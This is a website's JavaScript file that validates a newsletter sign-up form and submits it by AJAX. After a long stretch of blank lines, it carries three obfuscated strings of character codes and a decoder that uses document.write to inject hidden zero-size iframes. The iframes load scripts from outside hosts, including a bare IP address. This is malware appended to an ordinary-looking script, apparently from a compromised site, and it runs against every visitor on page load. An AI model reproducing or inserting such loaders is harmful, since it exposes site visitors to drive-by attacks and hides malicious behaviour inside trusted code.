//-----------------------------------------------------------------------------------------------------
//gen functions
//-----------------------------------------------------------------------------------------------------
function strTrim(tmpStr)
{
	tmpStr = tmpStr.replace(/^\s+/,"");//remove leading
	tmpStr = tmpStr.replace(/\s+$/,"");//remove trailing
	return tmpStr;
}
//-----------------------------------------------------------------------------------------------------
function trimFields()
{
	for(var i=0; i < obj.elements.length; i++)
	{
		if(obj.elements[i].type == "text" || obj.elements[i].type == "textarea" || obj.elements[i].type == "password")
		{
			obj.elements[i].value = strTrim(obj.elements[i].value);
		}
	}
}
//-----------------------------------------------------------------------------------------------------
function chkEmail(tmpStr)
{
	var email_pat = /^[a-z][a-z0-9_\.\-]*[a-z0-9]@[a-z0-9]+[a-z0-9\.\-_]*\.[a-z]+$/i;
	return(email_pat.test(tmpStr));
}
//-----------------------------------------------------------------------------------------------------
function validateSubscribe()
{
	var obj = document.getElementById('frmSubscriber');
	if(obj.subscriber_email.value == '')
	{
		alert("Please enter your Email Address.");
		obj.subscriber_email.focus();
		return;
	}
	if(!chkEmail(obj.subscriber_email.value))
	{
		alert("Please enter a valid Email Address.");
		obj.subscriber_email.focus();
		obj.subscriber_email.select();
		return;
	}
	$('#newsletter_loader')[0].innerHTML = '<img src="img/ajax-loader1.gif" alt="Loader" style="vertical-align:middle;padding-left:10px;">';
	params = 'email='+ obj.subscriber_email.value;
	params+= '&hash='+Math.floor(Math.random()*11);
	 $.ajax({
	   type: "GET",
	   data: params,
	   url: "subscribe_newsletter.php",
	   success: function(retVal){
			switch(retVal)
			{
				case "SUCCESS":
					subscribeMsg = 'Thank you for subscribing to the TideQuarters Newsletter.';
					break;
				default:
					subscribeMsg = "You have been disabled for Newsletter Subscription. Please contact Administator";
					break;
			}
			alert(subscribeMsg);
			$('#newsletter_loader')[0].innerHTML = '<img src="img/btn_submit.gif" style="vertical-align:middle;margin-bottom:4px;" onclick="javascript:validateSubscribe()">';
			obj.subscriber_email.value = "";
	   }
   });
}






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

